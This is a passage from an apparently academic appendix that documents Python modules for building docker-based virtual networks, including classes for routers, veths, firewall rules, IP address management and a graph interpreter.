class is deleted, the attributes holding the references to the nodes and bridges will
be deleted as well. That will in turn have the same effect as explicitly freeing all
the attributes but we believe it is alwys better to be explicit when writing code tan
relying on “obscure” mechanisms.

Veth.py

When we began this project we decided to represent each veth as its own object. This
approach proved to be quite cumbersome once we implemented the functionality allow-
ing the user to modify the network topology. At that point we decided to define the
interface class and implement the functionality connecting veths as a standalone func-
tion. Given an interface is the manifestation of a veth once we move it to a different
namespace we felt this slight change did not go against the pre-existing philosophy.

Like we mentioned before, we did not define a function altering the veth’s status (i.e.
we will not disconnect and reconnect them). When moving nodes around we will alto-
gether delete and create veths as needed. We can work in such a manner because we
can rely on the kernel’s interface management to a great extent. Given how veths are
implemented we can be sure that as soon as we remove one of its ends through ip link

the associated termination will be seamlessly removed too. This allows for a “fire and
forget” approach in the sense that we need not carry out the elaborate bookkeeping that
we would otherwise have to. Stepping on functionality implemented by others is a great
way to greatly simplify the code, so we decided to leverage it as long as we could be
positive no unexpected behaviour would take place.

After the above discussion let us dive into how this crucial function is implemented.
Please note we are now referring to a function and not a method because the former is
not associated to a class whilst the latter is.
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Imported Libraries

1. os: This module enables the execution of commands through a sh shell through
the os.system() method. One can check the shell being spawned is indeed sh by
running os.system("echo $0") or by querying [55].

2. constants: Grant access to the terminal escape sequences dictionary contain-
ing ANSI escape sequences enabling colored output.

3. sys: This module allows us to print error messages to STDERR instead of STDOUT
so that they can be easily redirected later on if needed with 2>/path/to/log.

Global Variables

1. t colors - dictionary/string/string: This is a synonym for the terminal

escape sequences dictionary we me mentioned before. It is used within calls
to print() so that we can alter the terminal text’s color allowing for a more visual
information representation.

The connect veth end() Function

1. Parameters:

(a) node - k bridge inst | d node inst | d router inst: The network-aware
machine we are to connect the veth end to. Note the ’|’ character is to be
read as OR.

(b) veth name - string: The name of the veth end we are to connect to the
network-aware machine specified by the node parameter.

(c) subnet - string - optional: The subnet the connected veth end will be-
long to in CIDR. This parameter must be specified is the network-aware ma-
chine we are attaching the veth to is either a node or a router.

2. Returns: A boolean indicating whether the operation completed successfully
(True) or failed False.

3. Description: This function will connect the veth end specified by the veth end

parameter to the network machine whose reference is passed through the node pa-
rameter. In case the latter is either a node or a router, the subnet the resulting
interface will belong to is specified in the subnet parameter. This function relies
on the get type() method we have defined for every class representing a network-
aware machine to resolve how to proceed. The function prints a message informing
about the outcome of the operation besides returning a boolean encoding the same
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information. Please note that attaching a veth end to a bridge will not trigger the
instantiation of an object whilst an interface inst will be created if it is attached
to either a node or a router. What is more, this is the only method capable of
creating veths. This approach has proven to allow for faster changes throughout the
codebase when they were required.

Net machines.py

This file plays a role quite similar to that of the Subnet machines.py file we described
above. This file contains the definition of the class representing the routers we will use
in our topologies. Even though routers, like nodes, are implemented as docker containers
they behave in a slightly different way.

Routers will implement the different firewalls we are to use through iptables and they
will always contain at least two interfaces (in contrast with nodes that will usually con-
tain a single one). The differences between these two classes are motivated by these slight
discrepancies in terms of functionality. We would like to point out that the syntax that
one must adhere to when defining firewall rules has been set forth in section 4.1.2.

The lifecycle of routers is practically the same as that of nodes. The most noticeable
difference might be how a router will usually assist to more interface additions and dele-
tions throughout its lifespan.

1. The real instance is brought up.

2. The object representing said instance is created.

3. The object sits idle. Several of its parameters can be altered within this state, such
as the number of interfaces.

4. At some point, the object will be dismantled.

5. The release of the object will trigger the removal of the associated real instance.

Imported Libraries

1. os: This module enables the execution of commands through a sh shell through
the os.system() method. One can check the shell being spawned is indeed sh by
running os.system("echo $0") or by querying [55].

2. constants: Grant access to the terminal escape sequences dictionary contain-
ing ANSI escape sequences enabling colored output.
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3. sys: This module allows us to print error messages to STDERR instead of STDOUT
so that they can be easily redirected later on if needed with 2>/path/to/log.

4. subprocess: This module enables the execution of commands through a shell and
allows the caller to retrieve the command’s output to STDOUT on top of its return
code. This will let us retrieve a container’s associated PID.

5. interface: This module will let us instantiate and add interface inst to the
nodes we create.

Global Variables

1. t colors - dictionary/string/string: This is a synonym for the terminal

escape sequences dictionary we me mentioned before. It is used within calls
to print() so that we can alter the terminal text’s color allowing for a more visual
information representation.

The d router Class This class represents a virtual router. Note the ‘d’ stands for
docker.

Class Attributes

1. self.type - string: Object type identifier containing the ‘‘router’’ string

for routers. It is used within functions to check the type of object it is currently
dealing with.

2. self.name - string: Router’s name.

3. self.pid - int: The associated container’s PID. It is used when linking the con-
tainer’s network namespace to /var/run/netns so that we can easily access it af-
terwards.

4. self.interfaces - list/interface inst: A list containing the instances of the
interfaces belonging to this router.

5. fw rules - dictionary/string/list: Firewall rules configured for this router.
Note that even though the “logical” format is exactly the same as the one presented
on section 4.1.2, the node names are translated to IPs by the caller when this
member is initialized. This implies that the “real” entries we are to work with
internally are of the form ("source ip", "destination ip", bidirectional?)

instead of ("source node", "destination node", bidirectional?).



APPENDIX C. COMPREHENSIVE MODULE ANALYSIS 119

The Constructor

1. Parameters:

(a) self - d router inst: The actual router instance.

(b) name - string: The router’s name.

2. Returns: Nothing.

3. Description: This method will just initialize several members with the passed
parameters whilst assigning sane defaults to others. It leverages the power of the
docker inspect command to find the associated container’s PID. It will also call
link net namespace() to allow an easier handling of the container’s namespace

through the ip command. It finally calls set hostname() to configure the router’s
identity from the network’s perspective.

The link net namespace() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

2. Returns: Nothing.

3. Description: This method will create a symbolic link to the container’s network
namespace under /var/run/netns where the ip command will “look for” existing
named namespaces. This method leverages the self.pid attribute that is initialized
in the constructor to find the original location of the container’s namespace so that
it can later be linked.

The set hostname() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

2. Returns: Nothing.

3. Description: This method will just set the container’s hostname. It is essential
to distinguish between the container’s name and its hostname. The former is an
identifier that only concerns docker, whilst the latter will be the machine’s identifier
from the point of view of the network. This method will make the latter the same
as the former. What is more, this operation made us change the underscores ( ) in
the original node names by hyphens (-): the former were not allowed on network
hostnames.
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The get name() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

2. Returns: A string containing the router’s name.

3. Description: Not applicable.

The get type() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

2. Returns: The "router" string.

3. Description: Not applicable.

The get subnets() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

2. Returns: A list/string containing the different subnets this node is connected
to in CIDR format.

3. Description: This method will iterate over the interface inst contained in the
self.interfaces attribute to then provide a list containing the subnets each of
these interface inst belong to.

The get interface() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

(b) subnet - string - optional: Specifies the subnet for which an associated
interface inst should be returned.

2. Returns: The following are evaluated in order.

(a) A list/interface inst if the subnet parameter was not specified.
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(b) An interface inst associated to the subnet specified in the subnet parame-
ter.

(c) None if there is no interface associated with the subnet specified through the
subnet parameter.

3. Description: As seen on the returns section, the subnet parameter behaves like
a switch. A list of interface inst will be returned if it is not specified by the
caller. In case it is provided, it will return either an interface inst or None if
there is no interface associated with the specified subnet.

The create interface() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

(b) if name - string: Name of the interface to create.

(c) if subnet - string: Subnet associated with the interface to create.

(d) o if - boolean: Flag indicating whether the interface to create should be
allowed to “see” other subnets.

2. Returns: Nothing.

3. Description: This method will instantiate a new interface and add it to the node’s
self.interfaces list. The method’s parameters will be passed directly to the
interface class constructor.

The reset interfaces() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

(b) subnet - string - optional: The subnet associated to the interface that
should be reset.

2. Returns: A boolean indicating whether the operation completed successfully or
not.

3. Description: If the caller does not specify a subnet parameter, this method erases
all the interfaces associated with the router whilst also removing the associated
“real instances” from the host machine. This can easily be accomplished through
the clear() [57] method defined for lists, such as the self.interfaces attribute
due to the destructor we defined for the interface class. If the caller specifies a
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subnet, the method will look for the interface belonging to that subnet and remove()

it from the self.interfaces attribute. This will, as before, trigger the deletion
of the “real interface”. The method will return True if either all the interfaces
were deleted (i.e. no subnet was specified) or if the one specified through the
subnet parameter was found and deleted as well. If the caller specified an interface
belonging to a specific subnet and it was not found the method will return False,
signaling an error.

The set fw rules() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

(b) fw rules - dictionary/list/string: Firewall rules to be applied to the
router.

2. Returns: Nothing.

3. Description: This method will update the contents of the self.fw rules attribute
that will serve as the cornerstone for the following methods.

The apply fw rules() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

2. Returns: Nothing.

3. Description: This method will parse (i.e. process) the rules and policy contained in
the self.fw rules attribute and then proceed on to make them effective. In order
to do so, it relies on the self.instantiate fw rule() and set fw policy() meth-
ods we describe below. If said attribute is an empty dictionary the method will exit
promptly and allow the router to forward all the traffic flowing through it, thus effec-
tively disabling the firewall within the associated container. This method will only
print a message when there are no rules configured, as the self.instantiate fw ru

le() method will print a message for each rule it processes.

The instantiate fw rule() Method

1. Parameters:

(a) self - d router inst: The actual router instance.
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(b) target - string: The target for the rule, either ‘‘ACCEPT’’ or ‘‘DROP’’.

(c) source - string: The source IP address for the rule.

(d) dest - string: The destination IP address for the rule.

(e) bi dir - boolean: True if the rule is “bi-directional” (i.e. an inverse rule
should be instantiated). False otherwise.

2. Returns: Nothing.

3. Description: This method leverages the docker exec command to instantiate the
iptables rules specified by its parameters on the associated container. The bi dir

parameter will cause the instantiation of a symmetric rule (i.e. one that swaps
the source and destination IP addresses) as seen on section 4.1.2. An informative
message will be printed for each rule that is successfully added.

The set fw policy() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

(b) policy - string: The policy to apply to the router.

2. Returns: Nothing.

3. Description: This method will apply the policy specified through the policy

parameter to the router’s FORWARDING chain. iptables is capable of handling
both upper and lowercase policy specifications. This method relies on the docker

exec command to configure the container associated to the instance whose method
we are invoking. The method will also print a message if the operation succeeds.

The add n apply fw rule() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

(b) trgt - string: The target for the rule, either ‘‘ACCEPT’’ or ‘‘DROP’’.

(c) src - string: The source IP address for the rule.

(d) dst - string: The destination IP address for the rule.

(e) b dir - boolean: True if the rule is “bi-directional” (i.e. an inverse rule
should be instantiated). False otherwise.

2. Returns: Nothing.
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3. Description: This method has been written to support “dynamic firewalls”. As
nodes are moved around the network the need for changes in firewall rules arises
in order to maintain the exact same logical topology. This method will just add
the rule specified through the parameters to the self.fw rules attribute and pass
them to the instantiate fw rule() method to make them effective.

The remove fw rule() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

(b) moving node ip - string: The IP address whose associated rules we are to
delete.

2. Returns: Nothing.

3. Description: This method has been written to support “dynamic firewalls” as well.
On top of adding new rules upon a node’s movement we also need to delete stale
ones so that firewall configurations do not become cluttered over time. Given we
are reusing freed IP addresses, leaving unused rules behind could have unintended
side effects that would be difficult to debug. This method will iterate over a router’s
firewall rules through the self.fw rules attribute and delete those whose source
or destination IP is the one specified by the moving node parameter. The reason
behind the definition of this method is what justifies the chosen parameter name.
This method relies on the docker exec command and it will also print an informa-
tive message upon rule deletion so that we can be sure every task was carried out
successfully.

The stop() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

2. Returns: A boolean indicating whether the operation succeeded or not.

3. Description: This method is in charge of stopping the instance’s associated docker
container. We can do so thanks to the docker stop command. This method
leverages a redirection to /dev/null so that the output generated by docker stop

does not interfere with our own. This method will print a message both upon success
and error.
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The remove() Method

1. Parameters:

(a) self - d router inst: The actual router instance.

2. Returns: Nothing.

3. Description: This method is in charge of entirely removing the associated con-
tainer. It will call the stop() method as a container must be stopped before it can
be removed through the docker rm command. First of all, the method will get rid
of the interfaces as soon as possible so that, even if something goes wrong when
deleting the container, it has no connection to a network that might still be alive.
This will in fact isolate the container so that possible errors have no impact on the
rest of the virtualized scenario. We will also delete the link to the container’s net-
work namespace living under /var/run/netns. As usual we will print information
relative to the command’s outcome.

The Destructor

1. Parameters:

(a) self - d router inst: The actual router instance.

2. Returns: Nothing.

3. Description: This method will call the remove() which will in turn delete the
associated container. Given the definition of the remove() method this will later
allow us to dismantle the entire network with a single order.

Net.py

This file contains the definition for the class representing the entire network topology.
Said class gathers all the existing subnets as well as the routers interconnecting them. It
will also instantiate the address manager class to handle of addressing. This class is the
only place from which veths can be created. This speeds up development when changes
are needed. Given it is the base on which the rest of the infrastructure is built upon, the
lifecycle of this class’ instance is that of the virtual network.

1. The d net class is instantiated.

2. The entire virtual network is brought up.
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3. The instance continues to exist as long as the program is running.

4. Once the instance is released, the entire virtual network is dismantled.

5. The program exits.

Naming Veths Consistently Veths are the most common element in the network.
This implies that we need to somehow name them in such a way that we can easily
reference them and guarantee no names will collide. Given the node names must be
unique as specified in section 4.1.2, and that there will only be a single connection between
any two nodes, these veths will be named according to the nodes they connect. The
restrictions we imposed on naming guarantee these names will effectively be unique. Given
a veth is composed of two different ends we decided to share the name across the two and
take advantage of iproute2 being case-sensitive. Thus, a veth end will be named according
to the veth ¡node x¿ ¡node y template where each node name follows the ¡character¿-
¡number — character¿ pattern (the ‘|’ character is to be read as OR). The other end
will have the exact same name with the node names in upper case instead of lower case.
Thus, the ends of a veth could be named veth c-1 c-b and veth C-1 C-B, respectively.

Imported Libraries

1. os: This module enables the execution of commands through a sh shell through
the os.system() method. One can check the shell being spawned is indeed sh by
running os.system("echo $0") or by querying [55].

2. constants: Grant access to the terminal escape sequences dictionary contain-
ing ANSI escape sequences enabling colored output.

3. sys: This module allows us to print error messages to STDERR instead of STDOUT
so that they can be easily redirected later on if needed with 2>/path/to/log.

4. address manager: This module provides access to the addr manager class, which
provides helper methods to address the network.

5. subnet: This module will let us instantiate the d subnet class as needed in order
to add subnets to the network.

6. net machines: This module will let us instantiate and add d router insts to the
network.

7. veth: This module provides access to the connect veth end() function so that we
can invoke it when required.
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Global Variables

1. t colors - dictionary/string/string: This is a synonym for the terminal

escape sequences dictionary we me mentioned before. It is used within calls
to print() so that we can alter the terminal text’s color allowing for a more visual
information representation.

The d net Class This class represents an entire network. Note the ‘d’ stands for
docker.

Class Attributes

1. self.subnets - dictionary/string/d subnet inst: A dictionary containing an
instance of each active subnet as the value associated to a key that is the subnet’s
address in CIDR format.

2. self.routers - dictionary/string/s router inst: A dictionary containing an
instance of each active router as the value associated to a key that is the router’s
name.

3. self.net addr manager - addr manager inst: An object in charge of managing
IP addresses and addressing the entire network.

4. self.router bridge - string: Initial placeholder name for a an auxiliary bridge
that might be needed when moving subnets within the network. This will be clarified
below.

5. self.aux router - string: Initial placeholder name for a an auxiliary router that
might be needed when moving subnets within the network. This will be clarified
below.

The Constructor

1. Parameters:

(a) self - d net inst: The actual network instance.

2. Returns: Nothing.

3. Description: This method will just initialize the network’s parameters with sane
defaults and call the disable iptables() method to prevent the host’s kernel
from interfering with the virtual network.
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The disable iptables() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

2. Returns: Nothing.

3. Description: This method will disable the bridge-nf-call-iptables kernel parameter
to prevent the host kernel from interfering with the network as explained on section
2.7. It will also make sure the /var/run/netns directory exists through the mkdir

-p command to make sure the host is capable of correctly supporting the virtual
network.

The get addr manager() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

2. Returns: The addr manager inst referenced by the seld.addr manager attribute.

3. Description: Not applicable.

The req brd name() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

2. Returns: A string containing the name to be given to a bridge that needs to be
automatically created.

3. Description: This method might be needed when moving entire subnets within the
virtual network. This method will also update the self.router bridge attribute
to gracefully handle a subsequent calls. In order to modify new names we leverage
python’s ord() [58] and chr() [58] functions. The generated names will follow the
‘‘z-rb’’, ‘‘y-rb’’, ..., ‘‘a-rb’’ progression. The current method definition
only allows for 26 different names. This limitation has not manifested yet but we
should nonetheless note it exists.
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The req r name() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

2. Returns: A string containing the name to be given to a router that needs to be
automatically created.

3. Description: This method might be needed when moving entire subnets within
the virtual network. The method will also update the self.aux router attribute
to gracefully handle a subsequent calls. In order to modify new names we leverage
python’s ord() [58] and chr() [58] functions. The generated names will follow the
‘‘ra-z’’, ‘‘ra-y’’, ..., ‘‘ra-a’’ progression. The current method definition
only allows for 26 different names. This limitation has not manifested yet but we
should nonetheless note it exists.

The create subnet() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

(b) subn - string: The subnet address for the subnet to create, specified in
CIDR format.

2. Returns: The created d subnet inst.

3. Description: This method is in charge of instantiating each and every subnet
composing the network. If the subnet address is unique and the subn parameter is
not None the method will instantiate the d subnet class and add the instance to
the self.subnets attribute. The instance referenced by the self.addr manager

method will also be informed of the new subnet so that it can assign addresses be-
longing to it when needed. The fact the the method returns the created d subnet in

st makes it compatible with almost any third-party overlay a user might want to add
on top of our code. Instead of imposing restrictions on how the network elements
should be created we tried to let the user decide that for him or herself.

The create router() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

(b) name - string: The router’s name.
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2. Returns: The created d router inst.

3. Description: This method is the only way of adding new routers to the network.
Like in the previous method, the generated router instance will be returned as well
as stored on the self.routers attribute. The method will also print messages
informing of whether it managed to carry out its operation successfully or not.

The connect nodes() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

(b) node x - k bridge inst | d node inst | d router inst: One network-a-
ware machine we are to connect a veth end to. Note the ‘|’ character is to be
read as OR.

(c) node y - k bridge inst | d node inst | d router inst: The other netw-
ork-aware machine we are to connect a veth end to. Note the ‘|’ character is
to be read as OR.

(d) cnx subnet - string: The subnet on which the network aware machines are
being connected.

2. Returns: Nothing.

3. Description: This method handles the creation and connection of veths whenever
they are needed. It will generate the names for both veth ends following the rules
described at the beginning of the section, and call the veth.connect veth end()

function to connect those ends the appropriate destinations. This method will print
messages informing on the outcome.

The add router to subnet() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

(b) router - string: The name of the router to add to a given subnet.

(c) subnet - string: The subnet address identifying the subnet we are to add
the router to in CIDR format.

2. Returns: Nothing.

3. Description: This method will allow us to add a router to any subnets we connect
it to. This method will let us maintain an accurate picture of the network state at
all times.



APPENDIX C. COMPREHENSIVE MODULE ANALYSIS 131

The addressing time() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

2. Returns: Nothing.

3. Description: This method triggers the addressing process for the entire network
through the address net method defined in the address manager class.

The Destructor

1. Parameters:

(a) self - d net inst: The actual network instance.

2. Returns: Nothing.

3. Description: The destructor will undo the changes caused by the disable ipta

bles() method and empty the self.subnets and self.routers attributes. This
will trigger the destructors for all the instances contained in them, thus effectively
dismantling the entire network. Even though the explicit deletion of the afore-
mentioned attributes is not mandatory, carrying it out explicitly provides an easier
understanding of the inner workings of the code. Being able to dismantle the net-
work with just a few lines is the consequence of carefully crafting the destructors
for each of our classes as we have explained in the previous sections.

Address manager.py

If one were to summarize the steps our task requires to the greatest extent he or she would
find that there are only three of them. We first need to bring all the necessary network
components up, then address them and finally add the routes enabling communication
between them. All the ground we have covered up to now has been devoted to dealing
with the first of the three. This section tackles the second aspect, and the last one will
be related to a later section.

The class defined in this file will deal with everything related to IP addressing within
our network. It will keep track of the assigned and free addresses, reclaim those that are
freed and manipulate them as needed in order to ensure an orderly and functional ad-
dressing of the network. In order to facilitate these actions we have decided to work with
a text-based and integer-based representation of the IPv4 addresses we have to deal with.
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Representing IP Addresses As seen on the enumeration on section 4.1.2, IP (note we
are always referring to IPv4 addresses) addresses follow the A.B.C.D/X pattern. These
addresses are traditionally represented as strings within programs, but this data type
quickly becomes cumbersome once we need to modify these addresses. We will later see
how our address manager will hand out monotonically increasing IPs. This implies we
must somehow modify a given address and craft a new one. Even though this would be
feasible and, under certain restrictions, not terribly hard to implement with strings, this
approach lacks the flexibility offered by an integer-based representation. IPv4 addresses
are “just 32-bit numbers”, just like integers 1: after all, that is what is included in the
header of network layer datagrams. The text-based representation became widespread
because us, as humans, prefer to deal with it rather than with a 32-digit long chain of
1s and 0s. It has even made its way into the interfaces network operators use to con-
figure network equipment: remember iproute2 accepts IP addresses with the format we
have set forth at the beginning of the paragraph. Nonetheless, the former approach is
tremendously easy to modify: we can literally add 2 to a given address and obtain a new
address. We can also subtract one address from other to find out how many lie between
them. This is what motivated us to create a set of methods capable of converting between
both representations. We can use the text-based representation to “communicate” with
iproute2 and print informative messages whilst we can leverage the integer-based one to
easily modify and alter the addresses as desired.

Given how our network topologies are not extremely complex, we decided to associate
a /24 (i.e. 255.255.255.0 ) subnet mask to every subnet. This restriction would make
it feasible to skip the integer-based representation and just rely on a textual one. We
nonetheless decided to implement the latter in an effort to make our code as extensible
as possible so that it can also be effective under more “extreme” circumstances.

Unlike previous classes, the one defined in this file has no “real” lifecycle. As soon as
the d net constructor is called this class will be instantiated and it will continue to exist
until the program is taken down. We would like to point out how only one instance of
this class can be brought up. We have not written the logic capable of coordinating two
or more address managers, so if a user decides to work in such a way it is their own job
to accommodate all the issues that might arise.

Imported Libraries None.

1In python we can deal with 64-int integers as shown by executing math.log(sys.maxsize + 1, 2)

on a python interpreter, which returns 63.0. This line shows that an unsigned integer’s maximum
value is 263 − 1. [59]
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Global Variables None. We decided this module should not print any information as
that task was already being carried out from other methods the class defined in this file
relies on.

The addr manager Class This class is in charge of all the addressing for a given
network.

Class Attributes

1. self.next subn addr - dictionary/string/int: This dictionary is keyed by
a subnet address in CIDR format. The value is the next free IP address within that
subnet.

2. self.freed subn addr - dictionary/string/(list/string): This dictionary
is also keyed by a subnet address in CIDR format. The value will now be a list

of the free IPs belonging to the subnet specified in the key. These are stored as
strings instead of as ints.

3. self.router subn - string: This is the subnet address to be assigned to an au-
tomatically created subnet in the process of moving other subnets or nodes around.
This address will be modified in place as needed.

The Constructor

1. Parameters:

(a) self - addr manager: The actual address manager instance.

2. Returns: Nothing.

3. Description: The constructor will just initialize the instance’s attributes.

The add subn() Method

1. Parameters:

(a) self - addr manager: The actual address manager instance.

(b) subnet - string: The subnet address that the address manager needs to
start keeping track of.

2. Returns: Nothing.

3. Description: The method will first check the subnet the caller is trying to add is
indeed new and, if that is the case, it will find the first assignable address for that
subnet. A new entry for that subnet will also be added to the self.next subn addr

attribute.
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The revoke ip() Method

1. Parameters:

(a) self - addr manager: The actual address manager instance.

(b) node - d node inst | d router inst: The network-aware machine whose
IP for a given subnet we are to revoke.

(c) subnet - string: The subnet to which the IP we are to revoke belongs to.

2. Returns: Nothing.

3. Description: This method will revoke the IP assigned to a layer-3 device belonging
to the subnet subnet. This method is the only one populating the self.freed subn

addr attribute. As stated before, these addresses are strings: we are certain they
are free, so they can be assigned “as-is”, without any need of modifying them.

The req r subnet() Method

1. Parameters:

(a) self - addr manager: The actual address manager instance.

2. Returns: A string containing the subnet address for an automatically generated
subnet, in CIDR format.

3. Description: This method will return the current self.router subn attribute
and modify the subnet address for subsequent calls. The new subnet address will
be the /24 subnet “below” the one returned. If the returned subnet address were
10.0.254.0/24 the next would become 10.0.253.0/24, for instance.

The request ip() Method

1. Parameters:

(a) self - addr manager: The actual address manager instance.

(b) subnet - string: The subnet for which we are requesting an IP address.

2. Returns: A string containing the next free IP address for the requested subnet
together with the subnet mask (i.e. /24 ).

3. Description: This method will also update the instance’s attributes so that the
assigned IP address is no longer considered free.
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The addr to binary() Method

1. Parameters:

(a) self - addr manager: The actual address manager instance.

(b) addr - string: The IP address whose representation we want to alter to-
gether with its associated subnet mask.

2. Returns: An int containing the equivalent IP address to the one specified in the
addr parameter.

3. Description: This method makes constant use of bitwise operators such as OR

(‘|’) and shifts (‘<<’, ‘>>’). Given an IP address such as A.B.C.D, its binary
representation can be written as A << 24 | B << 16 | C << 8 | D.

The binary to addr() Method

1. Parameters:

(a) self - addr manager: The actual address manager instance.

(b) bin - int: The IP address whose representation we want to alter.

2. Returns: A string containing the equivalent IP address to the one specified in
the bin parameter.

3. Description: This method makes constant use of bitwise operators such as AND

(‘&’) and shifts (‘<<’, ‘>>’) as well. Given an IP as an int (i.e. the bin

parameter) and assuming a /24 mask we can write the equivalent textual address as
"...".format(bin >> 24 & 0xFF, bin >> 16 & 0xFF, bin >> 8 & 0xFF, bin

& 0xFF).

The get net addr() Method

1. Parameters:

(a) self - addr manager: The actual address manager instance.

(b) subn - string: The subnet whose network address we want to unravel in
CIDR format.

2. Returns: An int containing the subnet’s network address.

3. Description: This method makes constant use of bitwise operators as well. It will
build the subnet mask as a chain of 1s and 0s from the one specified through the
subn parameter (i.e. /24 ). It will then apply it to said parameter with an AND

(‘&’) operation to obtain the desired network address.



APPENDIX C. COMPREHENSIVE MODULE ANALYSIS 136

The get brd addr() Method

1. Parameters:

(a) self - addr manager: The actual address manager instance.

(b) subn - string: The subnet whose broadcast address we want to unravel in
CIDR format.

2. Returns: An int containing the subnet’s broadcast address.

3. Description: This method makes constant use of bitwise operators as well. It will
build the exact same mask as the get net addr() method and then invert it with
the NOT (‘ ’) operator. It will finally combine it with the passed parameter with
an OR (‘|’) operation so as to obtain the desired result.

The address net() Method

1. Parameters:

(a) self - addr manager: The actual address manager instance.

(b) routers - dictionary/string/d router inst: The routers that require ad-
dressing.

(c) routers - dictionary/string/d subnet inst: The subnets that require
addressing.

2. Returns: Nothing.

3. Description: This method will address the entire network. It will iterate over the
provided dictionaries and assign addresses based on the subnets the interfaces
belong to. We are addressing the routers before the subnets (and therefor the hosts)
so that they are assigned the lowest addresses within the subnets they belong to.
This is however not a limitation: we decided to proceed in this way to make finding
errors in the addressing process easier for us. This method is also capable of catching
and handling exceptions that might arise when trying to request addresses from a
subnet the address manager has no notice of. This greatly simplifies troubleshooting
mistakes and errors.

The reset subnet() Method

1. Parameters:

(a) self - addr manager: The actual address manager instance.
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(b) subn - string: The subnet whose associated addresses we want to reset.

2. Returns: Nothing.

3. Description: The need for this method arose when we implemented functionality
allowing nodes and subnets to move around the network. The method will just over-
write the lowest free address for a given subnet with the subnet’s network address
plus one, effectively resetting addressing.

The assign new ip() Method

1. Parameters:

(a) self - addr manager: The actual address manager instance.

(b) node - d node inst: The node we will assign an IP address to.

(c) subnet - string: The subnet for which we want to assign an IP address.

2. Returns: Nothing.

3. Description: In order to reuse revoked IPs we need to assign freed addresses before
moving on and assigning the first free address. When assigning a new IP to moved
nodes, the method will check whether the list of freed IPs for the destination
subnet (specified through the subnet parameter) is empty or not. If it is not, it
will assign the first freed IP by pop()ping [57] it from the appropriate list. It will
otherwise request a new address.

C.2 The graph interpreter Module

Graph to virt net.py

This file contains the source code defining the class in charge of interpreting a graph
generated through the networkx module and invoking the necessary methods from the
virt net module to instantiate it. This class also contains the definitions for the methods
implementing features such as the movement of nodes in an operational virtual network.

An instance of the graph interpreter class will exist as long as the virtual network
is online. It is needed before any virtual network elements are instantiated and it will be
taken down together with the virtual network.
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Imported Libraries

1. os: This module enables the execution of commands through a sh shell through
the os.system() method. One can check the shell being spawned is indeed sh by
running os.system("echo $0") or by querying [55].

2. networkx: This module provides several graph-related functionalities such as rout-
ing algorithms which are required by some of the methods.

3. copy: This modules allows us to create independent copies of “deep” dictionaries.
This provides independent instances with the same contents instead of a shallow
copy whose values are references to the same variables. Given python does not
expose the C pointer type this idea can be regarded as awkward, but in C’s terms
we can state that this module will allow us to dereference all the pointers within
the structures we are to copy so that the resulting variable contains references to a
totally different memory region.

4. net: This module provides access to the d net class, which acts as a gateway for
accessing the facilities offered by the virt net module.

Global Variables None.

The graph interpreter Class

Class Attributes

1. self.node to instance - dictionary/string/dictionary/string/X inst: T-
his dictionary contains a dictionary for each and every type of network-aware
machine. Each sub-dictionary contains all the instances of said type. Thus, one
can access every instance through this dictionary. We decided to design the class
in this way instead of accessing instances through the d net instance to shorten
several of the class’ functions. Given this attribute was being referenced many
times throughout the class we believe this decision improved the code’s readability.

2. self.net instance - d net inst: This attribute contains the network instance
we are working with. This is the entry point for all the methods offered by the
virt net module, so we will make use of this attribute over and over again.

3. self.connectivity view - networkx graph inst: This graph captures the logi-
cal connections that can be established according to the rules defined in our firewalls.
In the absence of firewalls this graph would be equivalent to the one we are in-
terpreting to bring the network up. The existence of this graph made reconfiguring
firewalls dynamically much easier: this logical topology will not change even if the
physical one does, so it serves as a reference that must always be respected.
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4. self.addr manager - addr manager inst: A reference to the same addr manager

inst that is an attribute of the d net class. We are just referencing it though a
class attribute to shorten several code lines so as to increase the code’s readability.

The Constructor

1. Parameters:

(a) self - graph interpreter inst: The actual graph interpreter instance.

2. Returns: Nothing.

3. Description: This method will check wether the user running the program is root
through the os.geteuid() statement. If the user running the program is indeed
root, execution will continua and several attributes including self.net instance

will be initialized. Otherwise the program will exit after informing the user the
program is to be run by root.

The get subnets() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

2. Returns: A list/strings of the currently active subnets given as the subnets’
network address together with the subnet mask in CIDR notation.

3. Description: Not applicable.

The get nodes() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

2. Returns: A list/strings containing the names of the currently active nodes.

3. Description: Not applicable.

The get routers() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

2. Returns: A list/strings containing the names of the currently active routers.

3. Description: Not applicable.
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The get n n r() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

2. Returns: A list/strings containing the names of the currently active nodes and
routers.

3. Description: This method was written to avoid having to call both get nodes()

and get routers() back-to-back in several methods in an effort, once more, to
shorten the code lines and improve the code’s readability to the greatest extent.

The get cnx graph() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

2. Returns: A networkx graph inst representing the current logical topology.

3. Description: This method is just returning the self.connectivity view at-
tribute “behind the scenes”.

The create n connect node() Method

1. Parameters:

(a) self - d net inst: The actual network instance.

(b) node - string: Name of the node we are to create and connect or just connect
to a bridge.

(c) bridge - string: Name of the bridge we are to connect the node to.

2. Returns: Nothing.

3. Description: This method is called whenever we want to connect a node to a
bridge. The method will check whether the node exists already: if it does, it will just
be connected and if it does not, it will be created beforehand. All these nodes will be
added to the self.connectivity view attribute as well: this ensures no bridges will
be present on that graph as they are transparent to us at the “logical connection”
level. Due to how the graph describing the physical topology is translated and
